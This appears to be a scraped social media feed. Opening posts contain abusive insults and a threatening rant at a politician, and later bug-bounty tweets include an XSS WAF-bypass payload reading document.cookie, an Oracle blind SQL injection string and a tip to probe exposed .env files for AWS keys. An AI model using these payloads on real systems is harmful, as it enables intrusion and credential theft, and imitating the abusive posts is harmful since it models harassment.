MadHunter

Your problem isn’t the problem, it’s your attitude about the problem.☺

[MadHunter @MAdHunt3R]

@Jennnyyyyyy 13

[MadHunter @MAdHunt3R]

@SanUvacha @Razarumi Bharrwayy ai post krty sharmm ni aati??

[MadHunter @MAdHunt3R]

@MianAliAshfaq Sahii reply diyaa

[MadHunter @MAdHunt3R]

@InderBajeli @KhaleejMag Bharwayyy apna news channel dekh

[MadHunter @MAdHunt3R]

@RubikaLiyaquat Hurts when they responsd to your aggression, right? 💀

[MadHunter @MAdHunt3R]

@realDonaldTrump Who the fuckkkk are you?? Indians are tagging you & stating Pakistan violating cease fire agreement meanwhile we haven't done anything yet. If we will do then the rest of world will know..!! Don't underestimate us we will destroy you & your partners.

[Coffin @lostsec_]

Amazon WAF Bypass :)

<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);">

[Cybernetic Research @cybernetic_res]

Add /api/.env to the wordlist, and maybe you will have access to dotenv file environment that leads to exposing SMTP credentials and AWS access key , secret key

Credits : @NoRed0x

#bugbountytips #bugbountytip #cybersecurity #ethicalhacking

[Arshad Kazmi @arshadkazmi42]

Found another Github token using https://t.co/FhRmB6BujZ in a self hosted bug bounty program.

Report Triaged and Bounty $$$$ Rewarded in 1 Hour.

I will share the query I used on the tool to find this token once the company has completed their audit.

#bugbounty #iScanToday

[Maniesh.Neupane @pwn4arn]

List of Burp Extension Useful For Pentesting !

[vx-underground @vxunderground]

.@crocodylii found Hunters International ransomware group left their Tor domain publicly indexable 😭😭😭😭

[Bipin Jitiya @win3zz]

Time-Based Blind SQL Injection in Oracle

'and 1=DBMS_PIPE.RECEIVE_MESSAGE(1,10)--

[Dark Web Informer @DarkWebInformer]

🚨URGENT🚨A Zero-day exploit for WhatsApp is up for sale.

#DarkWebInformer #DarkWeb #Cybersecurity #Cyberattack #Cybercrime #Infosec #CTI #0Day #ZeroDay #WhatsApp #Exploit

Details:

- Supports #Android and iOS
- RCE
- Attack type - 1Click
- Payload - Image 
 - Control Over Device

No price.

[Binni Shah @binitamshah]

PoC Exploit Released for 0-day Windows Kernel
of Privilege Vulnerability (CVE-2024-21338) : https://t.co/vBcaCQ9MSi

https://t.co/vHofGL819e

Details : https://t.co/ngV9GWaYDU

[Shivam Kumar Singh @MrRajputHacker]

☠️ iMessage #0day Exploit for sale on the Dark Web.

Unknown hackers are selling a zero-day exploit on the Dark Web for two million dollars.

ℹ️ iOS 0day Exploit Information

Attack type - 0click
Payload - SMS
Control over Device
Supports iOS 17+

#darkweb #CyberSecurity

[Germán Fernández @1ZRR4H]

▪ Another python stealer targeting Facebook Business accounts (Ads Manager) and hosted on Github.

https://github[.]com/sea2check/home

The lure is a job offer impersonating the L'Oréal brand, so we can already imagine how they distribute this threat.

[LaurieWired @lauriewired]

How does Malware bypass Antivirus Software?

[HackerAI @PentestGPT]

Steps on How to Find Vulnerable Endpoints with HackerGPT:

1. Open HackerGPT
2. Select the "GoLinkFinder" plugin
3. Provide website URL
4. Examine URLs for interesting endpoints
5. Visit endpoints manually or use other hacking plugins to speed up the process

[Ninad Mishra @NinadMishra5]

Look out for such bug👇 has the potential to enable a malicious individual to gain control over Facebook (and Meta) accounts by tricking the user into playing an Instant Game.

https://t.co/dyStxX85z2

#bugbountytips #bugbounty #CyberSecurity

[Cyber Detective💙💛 @cyb_detective]

How to download only files with a specific extension from a site/directory:

wget -r -A .pdf -e robots=off -P pdf_dir {link to site/dir}

(view pic, may not work for some sites)